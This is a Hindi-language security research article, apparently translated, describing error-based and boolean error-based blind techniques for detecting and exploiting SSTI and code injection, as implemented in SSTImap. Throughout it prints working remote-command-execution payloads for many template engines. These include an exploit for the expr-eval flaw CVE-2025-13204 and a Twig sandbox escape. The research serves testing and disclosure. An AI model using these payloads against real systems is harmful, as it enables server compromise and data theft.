SSTI और कोड इंजेक्शन की त्रुटि-आधारित पहचान के लिए हमें एक ऐसा पेलोड चाहिए जो किसी भी प्रोग्रामिंग भाषा में त्रुटि ट्रिगर करे। उस स्थिति में, प्रोग्रामिंग भाषा को एक विशिष्ट त्रुटि संदेश द्वारा पहचानना संभव होगा या कम से कम त्रुटि की उपस्थिति का संकेत देने वाले कीवर्ड खोजना संभव होगा, यदि प्रोग्रामिंग भाषा अभी तक समर्थित नहीं है।
इस तरह के पेलोड को बनाने का मेरा पहला विचार शून्य से भाग का उपयोग करना था, लेकिन कुछ प्रोग्रामिंग भाषाएँ जैसे जावास्क्रिप्ट ऐसे पेलोड को त्रुटि नहीं मानतीं, बल्कि केवल NaN लौटाती हैं।
उन मामलों को संभालने के लिए मैंने अपरिभाषित फ़ंक्शन में कॉल जोड़ने का निर्णय लिया: (1/0)+zxy()
नए पेलोड ने NodeJS में एक त्रुटि ट्रिगर की, लेकिन इसने कुछ PHP-आधारित टेम्पलेट इंजनों में विभिन्न सिंटैक्स त्रुटियाँ ट्रिगर कीं जिससे प्रोग्रामिंग भाषा का पता लगाना जटिल हो गया।
टेम्पलेट पार्सिंग के दौरान अस्तित्वहीन फ़ंक्शन का जल्दी पता लगने से बचने के लिए मैंने पेलोड को अपडेट करने का निर्णय लिया ताकि undefined की प्रॉपर्टी तक पहुँचने से ट्रिगर हुई त्रुटि का उपयोग किया जा सके।
एट्रीब्यूट एक्सेस के लिए पहले भाग के मूल्यांकन की आवश्यकता होगी, जबकि PHP में स्ट्रिंग संयोजन के मामले में सभी भागों का मूल्यांकन रनटाइम में शून्य से भाग से शुरू होकर किया जाएगा।
परिणामस्वरूप, मैंने एक पेलोड बनाया जो सामान्य इंजेक्शन के मामले में विस्तृत त्रुटि संदेश प्रतिबिंबों का पता लगाने में सक्षम है: (1/0).zxy.zxy
SSTImap मॉड्यूल के लिए मैंने सभी पाँच समर्थित प्रोग्रामिंग भाषाओं के लिए विशिष्ट त्रुटि संदेशों की पहचान जोड़ी, साथ ही कीवर्ड खोज भी जोड़ी ताकि यदि प्रोग्रामिंग भाषा या टेम्पलेट इंजन अभी तक समर्थित नहीं है तो त्रुटि प्रकार का पता लगाया जा सके।
विस्तृत त्रुटि प्रतिबिंब का पता लगाने और त्रुटि पाठ द्वारा प्रोग्रामिंग भाषा निर्धारित करने के बाद भी हमें त्रुटि-आधारित RCE के लिए पेलोड बनाने हेतु उपयोगकर्ता द्वारा प्रदत्त मान को दर्शाने वाला एक त्रुटि संदेश खोजने की आवश्यकता होगी।
आमतौर पर, ऐसी त्रुटियाँ अस्तित्वहीन फ़ाइलों और मॉड्यूल तक पहुँचने पर, null या undefined जैसी विशेष वस्तुओं के साथ असामान्य अंतःक्रियाओं के दौरान, साथ ही अस्तित्वहीन फ़ंक्शन, क्लास या एट्रीब्यूट के मामले में ट्रिगर की जा सकती हैं।
इसके विपरीत, सिंटैक्स त्रुटियाँ कोई डेटा एक्सफ़िल्ट्रेशन क्षमता प्रदान नहीं करतीं, क्योंकि वे किसी भी इंजेक्टेड कोड मूल्यांकन होने से पहले ही टेम्पलेट पार्सिंग को बाधित कर देती हैं।
सफल स्वचालित शोषण के लिए आपको यह सुनिश्चित करना चाहिए कि लंबे और बहु-पंक्ति वाले पाठ ट्रंकेट न हों।
इसके अलावा, उन स्थितियों को रोकना महत्वपूर्ण है जहाँ परिणाम किसी वैध चीज़ के बराबर होगा जो त्रुटि ट्रिगर नहीं करेगा।
उन मामलों के लिए, एक उपसर्ग जोड़ा जाना चाहिए जो किसी भी आउटपुट को अमान्य बना दे।
उदाहरण के लिए, लक्ष्य वेबसाइट पर Y:/A:/ से शुरू होने वाली फ़ाइलें, क्लास या एट्रीब्यूट होने की बहुत कम संभावना है।
अधिकांश आधुनिक वेब सर्वर और एप्लिकेशन विस्तृत त्रुटि आउटपुट को अक्षम करते हैं, जो त्रुटि-आधारित कोड इंजेक्शन और SSTI के शोषण को रोकता है। ऐसे मामलों में त्रुटि संदेश का पूरा पाठ प्राप्त करना असंभव है, लेकिन त्रुटि स्वयं आमतौर पर अभी भी पता लगाई जा सकती है। यह हमें सशर्त रूप से ट्रिगर की गई त्रुटि का पता लगाकर ब्लाइंड इंजेक्शन की सफलता निर्धारित करने की अनुमति देता है।
वास्तव में, विभिन्न प्रतिक्रियाएँ ब्लाइंड इंजेक्शन के परिणाम को उजागर कर सकती हैं।
उदाहरण के लिए, बूलियन-आधारित ब्लाइंड SQL इंजेक्शन के मामले में, AND SUBSTRING((…), 1, 1) = 's' जैसा पेलोड केवल तभी परिणाम लौटाएगा जब लक्ष्य मान वर्ण s से शुरू होता है।
यह तकनीक उन मामलों में अलग-अलग एप्लिकेशन व्यवहार पर आधारित है जहाँ कोई परिणाम नहीं लौटाया जाता।
यह कोड इंजेक्शन और SSTI के अधिकांश मामलों पर लागू नहीं है।
हालाँकि, एक समान तकनीक मौजूद है जिसे त्रुटि-आधारित ब्लाइंड SQL इंजेक्शन कहा जाता है, जिसमें लक्ष्य मान का उपयोग केवल एक मामले में सशर्त रूप से त्रुटि ट्रिगर करने के लिए किया जाता है, जबकि दूसरे को बाधित नहीं किया जाता: CASE WHEN 1=1 THEN 1 ELSE json('') END
ऐसी तकनीक को कोड इंजेक्शन और SSTI के लिए काम करने के लिए अनुकूलित किया जा सकता है। इसके अलावा, मैंने पहले भी उस तकनीक के लिए एक पेलोड देखा था। वह Freemarker टेम्पलेट इंजन के लिए निकोलस वर्डियर द्वारा एक पेलोड था, जिसका पहले इस शोध में उल्लेख किया गया था। [^10]
प्रोग्रामिंग भाषाएँ पहले से ही हमें यह निर्धारित करने वाली शर्तें रखने की अनुमति देती हैं कि कौन सा कोड निष्पादित किया जाएगा। यह विशेष भाषा निर्माणों या ऑपरेटरों का उपयोग करके पूरा किया जा सकता है। हालाँकि, त्रुटि-आधारित तकनीक के समान, मैंने अधिक सार्वभौमिक कोड इंजेक्शन पेलोड में भाषा निर्माणों से बचने का निर्णय लिया, क्योंकि वे कई इंजेक्शन संदर्भों में सुलभ नहीं होंगे। मैंने टर्नरी कंडीशनल ऑपरेटर का उपयोग करने से भी बचने का निर्णय लिया, क्योंकि ऐसे जटिल ऑपरेटर कई टेम्पलेट इंजनों और अन्य इंजेक्शन संदर्भों द्वारा समर्थित नहीं हो सकते हैं जो अपने स्वयं के पार्सर का उपयोग करते हैं।
गलत सकारात्मक से बचने के लिए, त्रुटि उस मामले में ट्रिगर की जानी चाहिए जहाँ हमारे इंजेक्शन ने कोई वैध परिणाम प्रदान नहीं किया, क्योंकि हमारे इंजेक्शन द्वारा जानबूझकर ट्रिगर की गई त्रुटियों को पेलोड के कारण होने वाली किसी भी अन्य त्रुटि से अलग करना असंभव हो सकता है।
बूलियन त्रुटि-आधारित ब्लाइंड कोड इंजेक्शन और SSTI के लिए परीक्षण को स्वचालित करने के लिए, हमें सर्वर प्रतिक्रियाओं में त्रुटियों का पता लगाने का एक तरीका चाहिए। उपयोगकर्ता सामान्य या त्रुटि पृष्ठों का पता लगाने के लिए नियमित अभिव्यक्तियाँ प्रदान कर सकते हैं, लेकिन हम प्रतिक्रिया कोड और लंबाई, हेडर और अन्य पैरामीटरों की तुलना सामान्य प्रतिक्रिया के संबंधित पैरामीटरों से करके त्रुटियों का पता लगाने का भी प्रयास कर सकते हैं।
हम चाहे जो भी दृष्टिकोण चुनें, हमें समान पेलोड के दो जोड़े का उपयोग करने की आवश्यकता होगी। प्रत्येक जोड़ी में पेलोड के बीच न्यूनतम अंतर WAF या प्रॉक्सी की त्रुटियों के कारण होने वाले गलत सकारात्मक से बचेंगे, जबकि दो जोड़ियों का उपयोग करने से यादृच्छिक बाहरी समस्याओं के कारण होने वाले गलत सकारात्मक को कम किया जा सकेगा।
एप्लिकेशन की सामान्य प्रतिक्रिया निर्धारित करने के लिए मैंने अधिकांश इंजेक्शन संदर्भों में सिंटैक्स त्रुटियों से बचने के लिए संख्यात्मक पेलोड का उपयोग करने का निर्णय लिया। एप्लिकेशन प्रतिक्रिया के सबसे स्थिर पैरामीटर निर्धारित करने के लिए कई प्रतिक्रियाओं की तुलना की जाती है। पहला अनुरोध छोड़ दिया जाता है ताकि किसी नए IP पते से पहले कनेक्शन के दौरान एप्लिकेशन द्वारा की जाने वाली कार्रवाइयों से किसी भी हस्तक्षेप से बचा जा सके।
अनुरोध तुलना के लिए कई पैरामीटर चुने गए:
पैरामीटर स्थिर माने जाते हैं यदि वे सभी प्रतिक्रियाओं के लिए समान रहते हैं या यदि वे औसत से 5% के भीतर उतार-चढ़ाव करते हैं (संख्यात्मक मानों के लिए)।
इंजेक्शन परिणामों की सत्यता निर्धारित करने के लिए हम बूलियन मान से भाग का उपयोग कर सकते हैं।
सत्य मान एक में परिवर्तित हो जाएगा, जो त्रुटि ट्रिगर नहीं करता, जबकि False मूल्यांकन करने वाले मान शून्य से भाग त्रुटि ट्रिगर करेंगे।
हम इस अभिव्यक्ति का उपयोग अपने पेलोड के रूप में कर सकते हैं: 1 / ( OUTPUT )
इंजेक्शन का पता लगाने के लिए इन दो पेलोड जोड़ियों का उपयोग किया जा सकता है:
'a'.join('bc') == 'bac' और 'a'.join('bc') == 'abc'bool('False') == True और bool('True') == Falseकोड निष्पादन bool(eval( … )) का उपयोग करके संभव है, जबकि OS कमांड निष्पादन की जाँच Python 3.6 से os.popen( … )._proc.wait() == 0 से की जा सकती है।
अधिकांश Python-आधारित टेम्पलेट इंजनों में इन पेलोड का उपयोग ज्यों का त्यों किया जा सकता है, जबकि Jinja2 अंतर्निहित Python फ़ंक्शनों तक सीधी पहुँच की अनुमति नहीं देता। परिणामस्वरूप, Jinja2 के लिए पेलोड थोड़ा अधिक जटिल है:```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}
### PHP
PHP पेलोड जैसे `1 / ( … )` का उपयोग इंजेक्शन की सफलता निर्धारित करने के लिए भी करता है।
इंजेक्शन का पता लगाने के लिए, ये दो पेलोड जोड़े चुने गए:
- `'2' + '3' == 5` और `'2' + '5' == 3`
- `strlen('2') == 1` और `strlen('1') == 2`
कोड मूल्यांकन परिणामों को `true && eval( … )` का उपयोग करके एक्सेस किया जा सकता है, और OS कमांड निष्पादन के रिटर्न कोड की जाँच `pclose(popen( … , "wb")) == 0` से की जा सकती है।
ये पेलोड **Twig** को छोड़कर सभी परीक्षण किए गए टेम्पलेट इंजनों के लिए काम करते हैं।
Twig टेम्पलेट इंजन के पुराने संस्करण हमें इस तरह के पेलोड का उपयोग करने की अनुमति देते हैं:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}}
return code प्राप्त करना असंभव है, इसलिए सफलता की स्थिति में आउटपुट के अंत में एक ज्ञात स्ट्रिंग जोड़ी जाती है, जिसे टेम्पलेट इंजन द्वारा जांचा जा सके। Twig के नए संस्करणों के लिए भी ऐसा ही दृष्टिकोण काम करता है:```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}
### Java
फिर से, जावा कोड मूल्यांकन के एक सार्वभौमिक तरीके की कमी के कारण हमें समर्थित टेम्पलेट इंजनों में से प्रत्येक के लिए अलग-अलग पेलोड बनाने की आवश्यकता होती है।
**Spring Expression Language** के लिए मैंने पहले जैसा ही विचार इस्तेमाल किया, लेकिन इसके लिए टाइप रूपांतरणों के लिए कुछ अतिरिक्त संशोधनों की आवश्यकता थी: `1/(( … )?1:0)+""`
टर्नरी ऑपरेटर का उपयोग परिणाम को `0` या `1` में बदलने के लिए किया जाता है, और एक खाली स्ट्रिंग का संयोजन गलत रिटर्न टाइप के कारण होने वाली त्रुटियों से बचने के लिए किया जाता है।
डिटेक्शन पेलोड के लिए मैंने `1` को `"".getClass().forName('java.lang.Integer').valueOf('1')` से बदल दिया, जो हमें यह पुष्टि करने की अनुमति देता है कि इंजेक्शन **Java** कोड का समर्थन करता है।
अपने दो जोड़े डिटेक्शन पेलोड के लिए, मैंने सरल पूर्णांक जोड़ का उपयोग किया, दूसरे जोड़े में पूर्णांक ओवरफ्लो की जाँच की।
OS कमांड निष्पादन की जाँच `waitFor()` फ़ंक्शन के रिटर्न कोड की शून्य से तुलना करके की गई:```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0
ये पेलोड अन्य समान एक्सप्रेशन लैंग्वेजेज के लिए भी काम करेंगे।
यह सुनिश्चित करने के लिए कि हमारे पास SpEL इंजेक्शन है, हम उन्हें SpEL-विशिष्ट पेलोड से बदल सकते हैं: T(java.lang.Integer).valueOf('1') और T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0
OGNL एक्सप्रेशन के पेलोड SpEL पेलोड के समान हैं।
मैंने इंटीजर एडिशन का उपयोग करके समान पेलोड जोड़े और समान ओरेकल का उपयोग किया: 1/((…)?1:0)+""
OGNL सिंटैक्स की पुष्टि 1 को @java.lang.Integer@valueOf('1') से बदलकर की जा सकती है।
SpEL के समान, आप waitFor() का उपयोग करके OS कमांड का रिटर्न कोड प्राप्त कर सकते हैं:```java
@java.lang.Runtime@getRuntime().exec("…").waitFor()==0
यह भी उल्लेखनीय है कि **OGNL** में प्रकारों को अप्रत्यक्ष रूप से परिवर्तित करने का एक असामान्य तरीका है।
संचालन के क्रम के अलावा, पहले से गणना किए गए मान भी रूपांतरणों को प्रभावित करते हैं।
जहां `1 * (123 + 456) + "abc" + 1 * (123 + 456)` जैसा पेलोड अपेक्षित परिणाम `"579abc579"` देगा, वहीं समान पेलोड `(123 + 456) + "abc" + (123 + 456)` पूर्णांकों को स्ट्रिंग में बदलना शुरू कर देगा, जिससे `"579abc123456"` वापस आएगा।
**Freemarker** के लिए मुख्य पेलोड पहले ही Nicolas Verdier [^10] द्वारा बनाया जा चुका था:```java
${1/((…)?string('1','0')?eval)}
सरल पेलोड जोड़ियों का उपयोग पहचान के लिए किया गया था, क्योंकि टेम्पलेट इंजन पहले से ही मुख्य पेलोड के सिंटैक्स द्वारा पुष्टि की जा चुकी है:
1.0 == 1.0 और 1.0 == 0.12 > 1 और 1 > 2OS कमांड निष्पादन के परिणामों की जाँच करने के लिए मैंने एक ऐसी तकनीक का उपयोग करने का निर्णय लिया जो पहले Twig के लिए उपयोग की गई थी:```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")
Velocity टेम्पलेट इंजन के लिए हम `#if` और `#include` निर्देशों का उपयोग कर सकते हैं:
- `#if(false)#include("Y:/A:/true")#end` and `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` and `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`
OS कमांड निष्पादन की जांच करने के लिए हम रेंडर किए गए इंजेक्शन के लिए एक नियमित payload को संशोधित कर सकते हैं:```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end
Ruby में पूर्णांक को बूलियन में बदलने का कोई सीधा तरीका नहीं है।
इस वजह से पेलोड थोड़ा जटिल हो जाता है: 1/(!!( ... )&&1||0)
इन पेलोड जोड़ियों का उपयोग Ruby इंजेक्शन की पुष्टि करने के लिए किया जा सकता है:
(2 + 3).to_s == '5' और (2 + 5).to_s == '3''2'.length == 1 और '1'.length == 2कोड मूल्यांकन के परिणामों को !!eval( ... ) का उपयोग करके जाँचा जा सकता है, जबकि निष्पादित OS कमांड की सफलता को system( … ) का उपयोग करके जाँचा जा सकता है, जो रेंडर किए गए इंजेक्शन के लिए उपयोग नहीं किया जाता, क्योंकि यह आउटपुट स्वयं वापस नहीं करता।
NodeJS में शून्य से भाग देने पर कोई त्रुटि नहीं आती, इसलिए पेलोड undefined या सूची के मौजूदा तत्व के गुणों तक पहुँचने का उपयोग करता है: [""][0 + !( … )]["length"]
ये दो जोड़ियाँ NodeJS को इंजेक्टेड भाषा के रूप में पुष्टि करने के लिए उपयोग की जाती हैं:
typeof(1) + 2 == "number2" और typeof(2) + 1 == "number2"parseInt("5x") == 5 और parseInt("x5") == 5कोड मूल्यांकन को सीधे eval() का उपयोग करके जाँचा जा सकता है, और संस्करण 5.7 और उससे ऊपर के NodeJS में निष्पादित OS कमांड के रिटर्न कोड को इस पेलोड का उपयोग करके जाँचा जा सकता है:```node
require('child_process').spawnSync( … , options={shell:true}).status===0
### Elixir
**Elixir** शून्य से विभाजन को एक oracle के रूप में उपयोग करने की अनुमति देता है, लेकिन पूर्णांक में स्पष्ट रूपांतरण की आवश्यकता होती है।
परिणामस्वरूप, हम पेलोड का उपयोग कर सकते हैं: `1/(( … )&&1||0)`
हम **Elixir** सिंटैक्स की जाँच पेलोड के इन जोड़ियों का उपयोग करके कर सकते हैं:
- `String.length("2") == 1` और `String.length("1") == 2`
- `is_boolean(false) == true` और `is_boolean(true) == false`
`eval()` कोड मूल्यांकन परिणामों की जाँच और OS कमांड रिटर्न कोड की तुलना सीधे इन पेलोड का उपयोग करके की जा सकती है: `elem(Code.eval_string( … ), 0)` और `elem(System.shell( … ), 1) == 0`
### सामान्य पहचान (Generic Detection)
सभी प्रोग्रामिंग भाषाओं के अपने फ़ंक्शन नाम होते हैं, इसलिए ऐसा फ़ंक्शन ढूँढना असंभव है जो सामान्य पहचान के लिए काम करे।
इसके बावजूद, लगभग सभी भाषाएँ बुनियादी गणितीय संक्रियाओं के लिए बिल्कुल समान सिंटैक्स का उपयोग करती हैं।
यह हमें सामान्य पहचान के लिए सिंटैक्स त्रुटियों का उपयोग करने की अनुमति देता है:
- `(3*4/2)` और `3*)2(/4`
- `((7*8)/(2*4))` और `7)(*)8)(2/(*4`
कोड इंजेक्शन और SSTI के लिए सामान्य पहचान की यह विधि सभी प्रोग्रामिंग भाषाओं और टेम्पलेट इंजनों के लिए अलग से समर्थन जोड़ने की आवश्यकता के बिना स्वचालित की जा सकती है, जो ब्लैक बॉक्स दृष्टिकोण का उपयोग करके कोड इंजेक्शन और SSTI की तीव्र पहचान की संभावनाओं का विस्तार करती है।
### पेलोड विकास (Payload Development)
ब्लाइंड इंजेक्शन का पता लगाने के बाद पेलोड बनाने के लिए, हम शून्य से विभाजन या सूचियों या शब्दकोशों में मौजूद नहीं होने वाले तत्वों तक पहुँचने की सामान्य त्रुटियों की जाँच कर सकते हैं।
इसके अतिरिक्त, ज्ञात टेम्पलेट इंजनों के लिए हम सशर्त रूप से मनमानी त्रुटियों को ट्रिगर करने के लिए `if` कथनों का उपयोग कर सकते हैं।
स्वचालित पहचान के लिए, अद्वितीय फ़ंक्शन नामों, सिंटैक्स सुविधाओं या अंतर्निहित प्रकार रूपांतरणों का उपयोग करके पेलोड जोड़े बनाए जा सकते हैं।
मानों को वांछित प्रकार में बदलने के लिए, हम विशिष्ट रूपांतरण फ़ंक्शन या वांछित प्रकार के लिए विशिष्ट संक्रिया का उपयोग कर सकते हैं (संख्याओं के लिए 0 जोड़ना, स्ट्रिंग के लिए खाली स्ट्रिंग जोड़ना, बूलियन के लिए `true` के साथ लॉजिकल AND का उपयोग करना, आदि)। इसके अतिरिक्त, मानों को दोहरे निषेध का उपयोग करके बूलियन में और फिर टरनेरी ऑपरेटर जैसी शर्तों का उपयोग करके पूर्णांक में परिवर्तित किया जा सकता है।
OS कमांड निष्पादन की सफलता की जाँच करने के लिए, हम निकास कोड की शून्य से तुलना कर सकते हैं या जाँच सकते हैं कि आउटपुट हमारे द्वारा प्रदान की गई स्ट्रिंग में समाप्त होता है या नहीं।
## व्यावहारिक अनुप्रयोग (Practical Application)
इस शोध के दौरान विकसित सभी तकनीकों और पेलोड को व्यावहारिक अनुप्रयोग के लिए ओपन-सोर्स टूल SSTImap में जोड़ा गया।
इसके अलावा, मैंने उन तकनीकों को अपने स्वयं के कार्यों में लागू किया, जिसने मुझे अधिकांश मामलों में परिणाम प्राप्त करने की अनुमति दी, जो इस शोध के लिए ब्रेडक्रम्ब्स के रूप में कार्य करते थे।
उन मामलों में वास्तविक वेब अनुप्रयोगों के परीक्षण के उदाहरण हैं, साथ ही ऐसे पेलोड भी हैं जो ज्ञात भेद्यता शोषण की क्षमताओं का विस्तार करते हैं।
### expr-eval (CVE-2025-13204)
नई तकनीकों को वास्तविक दुनिया के लक्ष्य पर लागू करने का पहला उदाहरण Discord के लिए एक लोकप्रिय बॉट कंस्ट्रक्टर में कोड इंजेक्शन भेद्यता था।
टेम्पलेट इंजन में टैग में से एक ने **expr-eval** नामक एक कमजोर NodeJS मॉड्यूल का उपयोग करके गणितीय अभिव्यक्ति मूल्यांकन की अनुमति दी, लेकिन परिणाम पूर्णांक में परिवर्तित हो गया, जिसने शुरू में मुझे इंजेक्ट किए गए कोड के परिणाम तक पहुँचने से रोक दिया।
मैंने भेद्यता को ट्रिगर करने के लिए उपयोग किए जाने वाले टेम्पलेट इंजन के सिंटैक्स को तोड़े बिना फ़ंक्शन कंस्ट्रक्टर तक पहुँचने के लिए ज्ञात पेलोड को संशोधित किया।
उसके बाद, मैंने Error-Based तकनीक लागू की और कोड निष्पादन परिणामों वाली त्रुटि को ट्रिगर करने के लिए `require()` का उपयोग किया:```node
{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }
इस मामले में, Error-Based तकनीक ने मुझे उस समय परीक्षण कर रहे एक वास्तविक-विश्व एप्लिकेशन में ब्लाइंड कोड इंजेक्शन से आउटपुट प्राप्त करने की अनुमति दी।
NodeJS के expr-eval मॉड्यूल में कोड इंजेक्शन शोषण के लिए पेलोड को SSTImap के लिए एक अतिरिक्त मॉड्यूल के रूप में जोड़ा गया था जिसे अतिरिक्त रूप से स्थापित किया जा सकता है। इस मॉड्यूल में SSTImap द्वारा समर्थित सभी चार कोड इंजेक्शन शोषण तकनीकों के लिए पेलोड शामिल हैं।
नई तकनीकों के व्यावहारिक अनुप्रयोग का एक और उदाहरण इंजेक्शन संदर्भ के कारण होने वाली सीमाओं के बिना CVE-2025-1302 का शोषण करने की क्षमता है। रेंडर्ड इंजेक्शन के लिए प्रारंभिक पेलोड रूट ऑब्जेक्ट के गुणों को सेट कर रहे थे, लेकिन इस दृष्टिकोण ने कई इंजेक्शन संदर्भों में रेंडर्ड शोषण को रोक दिया और दूसरों का अनुमान लगाने की आवश्यकता थी।
Error-Based तकनीकों के लिए धन्यवाद, वर्बोज़ एरर आउटपुट के मामले में सभी संदर्भों में आउटपुट प्राप्त करने योग्य हो गया। बूलियन Error-Based ब्लाइंड तकनीक का उपयोग करके ब्लाइंड इंजेक्शन के अधिक प्रभावी शोषण की अनुमति मिली और तेज़ डेटा एक्सफ़िल्ट्रेशन की संभावनाएं खुल गईं।
Twig टेम्पलेट इंजन के कमजोर संस्करण |sort फ़िल्टर में एक पैरामीटर के रूप में PHP फ़ंक्शन का नाम वाला एक स्ट्रिंग पास करके सैंडबॉक्स एस्केप की अनुमति देते हैं।
यह फ़िल्टर फ़ंक्शन आउटपुट को एक संख्या में परिवर्तित करता है जो सरणी में दो तत्वों के नए क्रम को निर्धारित करता है।
PHP में, system() फ़ंक्शन केवल आउटपुट का पहला स्ट्रिंग लौटाता है, लेकिन यह परिणामी संख्या और सरणी तत्वों के क्रम को प्रभावित करने के लिए पर्याप्त है, यह दर्शाता है कि हमारा OS कमांड सफलतापूर्वक निष्पादित हुआ या नहीं।
हम पहले तत्व की तुलना अपेक्षित मान से कर सकते हैं ताकि यह निर्धारित किया जा सके कि तत्वों ने स्थान बदल दिए हैं, और समझ सकें कि हमारे कमांड ने क्या संख्या उत्पन्न की।
परिणामस्वरूप, हमें यह पेलोड मिलता है:```php
{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %}
{{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}
इस बार, Boolean Error-Based Blind ब्लाइंड सैंडबॉक्स बाइपास की क्षमताओं को **Twig** टेम्पलेट इंजन में विस्तारित करता है, संभावित रूप से आउटपुट के बिट-दर-बिट निष्कर्षण की अनुमति देता है।
हम यह भी देख सकते हैं कि PHP फ़ंक्शन जैसे `system()` और `passthru()` परिणाम सीधे पेज पर आउटपुट करते हैं जो हमें `ob_start()` का उपयोग करके उन्हें इंटरसेप्ट करने की अनुमति देता है।
दूसरे आर्गुमेंट के रूप में, `ob_start()` उस फ़ंक्शन का नाम स्वीकार करता है जो हमारे आउटपुट को आर्गुमेंट के रूप में लेकर कॉल किया जाएगा।
यह हमें Error-Based आउटपुट एक्सफ़िलट्रेशन के लिए `call_user_func()` का उपयोग करने की अनुमति देता है।
हमारे फ़ंक्शन को कॉल करने और त्रुटि ट्रिगर करने के लिए, हमें बिना किसी आर्गुमेंट के `ob_end_flush()` को ट्रिगर करना होगा।
ऐसा करने के लिए, हम एक खाली सरणी के साथ `call_user_func_array()` का उपयोग कर सकते हैं।
हमारा अंतिम पेलोड:```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}
इसके अतिरिक्त, मैं Dust.JS टेम्पलेट इंजन के लिए पेलोड का उल्लेख करना चाहूंगा। NodeJS के लिए Code Injection पेलोड पर आधारित Error-Based और Boolean Error-Based Blind तकनीकें ब्लाइंड SSTI के अधिक प्रभावी शोषण के साथ-साथ लक्षित वेबसाइट पर वर्बोज़ एरर आउटपुट मौजूद होने पर परिणाम प्राप्त करने की अनुमति देती हैं।
उसके बाद, मैंने रेंडर्ड इंजेक्शन के दौरान टेम्पलेट संदर्भ में एक वेरिएबल जोड़कर परिणाम प्राप्त करने की संभावना पर शोध करने का निर्णय लिया। प्रारंभ में, मैंने Prototype Pollution का उपयोग करने का प्रयास किया, लेकिन डायनेमिक कोड जनरेशन के दौरान इसने त्रुटियाँ उत्पन्न कीं, इसलिए मुझे नया वेरिएबल इंजेक्ट करने के लिए संदर्भ ऑब्जेक्ट ढूँढना पड़ा। ऐसा करने के लिए, मैंने Error-Based तकनीक लागू की और ग्लोबल वेरिएबल्स की जाँच की।
मुझे एक वेरिएबल मिला जिसका नाम context था, जिसमें एक एट्रीब्यूट global था जो टेम्पलेट को पास किए गए वेरिएबल्स को समाहित करता था।
context.global का नया एट्रीब्यूट जोड़ने से मैं परिणाम प्राप्त करने में सक्षम हो गया:```node
{@if cond="context.global.sstimap='test'"}{/if}{sstimap}
यह उदाहरण ब्लैक बॉक्स दृष्टिकोण का उपयोग करके पेलोड विकसित करते समय इंजेक्शन संदर्भ की जांच करने के लिए एरर-बेस्ड तकनीक के उपयोग की संभावना दर्शाता है।
## Conclusions
इस शोध के भाग के रूप में, कोड इंजेक्शन और SSTI के लिए दो नई तकनीकें विकसित की गईं। **Error-Based** तकनीक का उपयोग करके ब्लाइंड इंजेक्शन के परिणामों तक पहुँचा जा सकता है यदि उपयोगकर्ता को वर्बोज़ एरर संदेश प्रदर्शित किए जाते हैं। **Boolean Error-Based Blind** तकनीक ब्लाइंड इंजेक्शन के शोषण को बहुत तेज़ कर देती है, क्योंकि यह **Time-Based Blind** तकनीक में सामान्यतः उपयोग होने वाली देरी को समाप्त करती है।
दोनों नई तकनीकों के लिए पेलोड बनाए गए जो छह प्रोग्रामिंग भाषाओं में कोड इंजेक्शन और SSTI के शोषण की अनुमति देते हैं।
इसके अतिरिक्त, कोड इंजेक्शन और SSTI के सामान्य पता लगाने के लिए कॉन्टेक्स्ट-अवेयर पेलोड प्रस्तुत किए गए, जिसने सभी संभावित भाषाओं के परीक्षण के बिना ब्लाइंड इंजेक्शन का स्वचालित पता लगाने की अनुमति दी, जो पहले असंभव माना जाता था।
प्रदर्शित तकनीकें स्पष्ट रूप से स्पष्ट कमजोरियों के लिए भी सभी ज्ञात शोषण तकनीकों का दस्तावेजीकरण करने के महत्व को साबित करती हैं। इसी तरह का दृष्टिकोण SQL इंजेक्शन तकनीकों में लंबे समय से उपयोग किया जाता रहा है, लेकिन SSTI की खोज के 10 वर्षों तक **Error-Based** तकनीक का कोई उल्लेख नहीं था और कोई दस्तावेजीकृत पेलोड नहीं थे। कोड इंजेक्शन के पास स्वयं लगभग कोई दस्तावेज नहीं है, जिसने नई मौलिक तकनीकों की खोज को रोका।
इस शोध ने प्रसिद्ध कमजोरियों के लिए भी नई तकनीकों की खोज की क्षमता साबित की। अधिक प्रभावी तकनीक विकास के लिए, शोधकर्ताओं के लिए तकनीकों और ट्रिक्स वाला एक ज्ञान भंडार बनाया जाना चाहिए, जो पेलोड विकास और विभिन्न प्रणालियों की असामान्य विशेषताओं के बारे में ज्ञान के दस्तावेजीकरण की अनुमति देगा, भले ही उस ज्ञान का सिस्टम शोषण के लिए कोई प्रत्यक्ष उपयोग न हो।
निष्कर्ष में, मैं आगे के शोध के लिए आशाजनक दिशाओं का उल्लेख करना चाहूंगा। **Boolean Error-Based Blind** और **Time-Based Blind** तकनीकों के लिए एक बड़ा सुधार आउटपुट के बिट-बाय-बिट एक्सफिल्ट्रेशन के लिए पेलोड होंगे, जैसा कि SQL इंजेक्शन के लिए संबंधित तकनीकों में होता है। इसके अतिरिक्त, **OAST** परीक्षण और **Time-Based Blind** तकनीक के अनुप्रयोग की संभावनाओं पर टेम्पलेट इंजन की विशेषताओं का उपयोग करके शोध करने से इन तकनीकों की OS और लक्ष्य सर्वर पर उपलब्ध बाइनरी पर निर्भरता समाप्त हो जाएगी।
## References
[^1]: https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf
